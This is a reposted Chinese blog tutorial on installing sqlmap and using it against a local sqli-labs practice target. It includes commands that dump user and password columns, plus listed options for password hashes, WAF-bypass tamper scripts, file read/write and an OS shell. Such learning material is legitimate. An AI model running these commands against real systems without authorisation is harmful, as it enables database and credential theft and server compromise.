0


sqlmap的安装与使用

文章目录

sqlmap的安装

准备工作:
(1)python2.7.18

(只能安装2.6--3.0版本)

下载地址:https://www.python.org/downloads/

安装时:

直接next
将“Add python.exe to Path”项勾选,勾选后安装完成不再需要单独添加环境变量,默认是“去勾选”的;
安装完后重启系统,查看是否生效,win+R,输入cmd,然后输入python
在这里插入图片描述
(2)sqlmap
下载地址:http://sqlmap.org/

  1. 将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到 “D:\Python2”(你的python的目录) 目录下;在这里插入图片描述
  2. 然后在桌面新建立一个cmd的快捷方式,并命名为“sqlmap”;在这里插入图片描述在这里插入图片描述
  3. 然后在新建快捷方式上右键“属性”,将“起始位置”修改为 D:\python2\sqlmap ,然后确定;在这里插入图片描述
  4. 双击刚才创建的快捷方式,输入python sqlmap.py -h,出现如下信息则表示安装成功。在这里插入图片描述

sqlmap的使用

Windows下的sqlmap:

get方式注入

  1. 检测注入点
python sqlmap.py -u url
  1. 获取当前数据库
python sqlmap.py -u 127.0.0.1/range/sqli-labs/Less-1/?id=1 --current-db
  1. 列出所有表
python sqlmap.py -u url --tables --purge
  1. 获取列名
python sqlmap.py -u 127.0.0.1/range/sqli-labs/Less-1/?id=1 --columns

获取指定列名:

python sqlmap.py -u 127.0.0.1/range/sqli-labs/Less-1/?id=1 --columns -T "column_name"
例子:
python sqlmap.py -u 127.0.0.1/range/sqli-labs/Less-1/?id=1 --columns -T "users"
  1. 获取列字段的内容
python sqlmap.py -u 127.0.0.1/range/sqli-labs/Less-1/?id=1 --dump -C "username,password" -T "users"
# --dump 打印出来   -C 后接需要获取的字段名 -T 为指定表名

sqlmap常见命令:

  1. 选项
-h,--help  显示基本帮助信息并退出
-hh  显示高级帮助信息并退出
--version  显示程序版本信息并退出
  1. 目标
-u  目标URL  
例:sqlmap -u "www.abc.com/index.php?id=1"
-m  后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r  可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt
  1. 请求
--method=METHOD 指定是get方法还是post方法。
例: --method=GET --method=POST
--random-agent  使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--proxy=PROXY 指定一个代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。
  1. 注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

-p  测试参数
例:  sqlmap -r bp.txt -p "username"
--skip-static  跳过测试静态参数(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的)
--no-cast  获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
  1. 检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

--level=LEVEL  执行测试的等级(1-5,默认为1) 
lv2:cookie; lv3:user-agent,refere; lv5:host 
在sqlmap/xml/payloads文件内可以看见各个level发送的payload  我常使用--level 3
--risk=RISK  执行测试的风险(0-3,默认为1) 
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。  常用就是默认1
  1. 枚举
-b, --banner        获取数据库管理系统的标识
--current-user      获取数据库管理系统当前用户
--current-db        获取数据库管理系统当前数据库
--hostname          获取数据库服务器的主机名称
--is-dba            检测DBMS当前用户是否DBA
--users             枚举数据库管理系统用户
--passwords         枚举数据库管理系统用户密码哈希
--privileges        枚举数据库管理系统用户的权限
--dbs               枚举数据库管理系统数据库
--tables           枚举DBMS数据库中的表
--columns           枚举DBMS数据库表列
-D                  要进行枚举的指定数据库名
-T                  要进行枚举的指定表名
-C                  要进行枚举的指定列名
--dump               转储数据库表项,查询字段值
--search             搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY   要执行的SQL语句
--sql-shell         提示交互式SQL的shell
  1. 文件操作

这些选项可以被用来访问后端数据库管理系统的底层文件系统

--file-read=RFILE     从后端的数据库管理系统文件系统读取文件
--file-write=WFILE    编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE     后端的数据库管理系统写入文件的绝对路径
  1. 操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

--os-cmd=OSCMD       执行操作系统命令(OSCMD)
--os-shell          交互式的操作系统的shell

post方式注入

利用sqlmap进行post注入

kali-linux下的sqlmap(待更新)

kali-linux虚拟机:

更新sqlmap(先拍快照):

找到安装路径:

cd /usr/share

进入:

ls

删掉sqlmap:

rm -rf sqlmap

执行:

git clone https://github.com/sqlmapproject/sqlmap

(help,尚未解决can’t establish ssl connection的问题)

标签: sql web安全

本文转载自: https://blog.csdn.net/qz362228/article/details/126317610
版权归原作者 乔治777 所有, 如有侵权,请联系我们删除。

“sqlmap的安装与使用”的评论:

还没有评论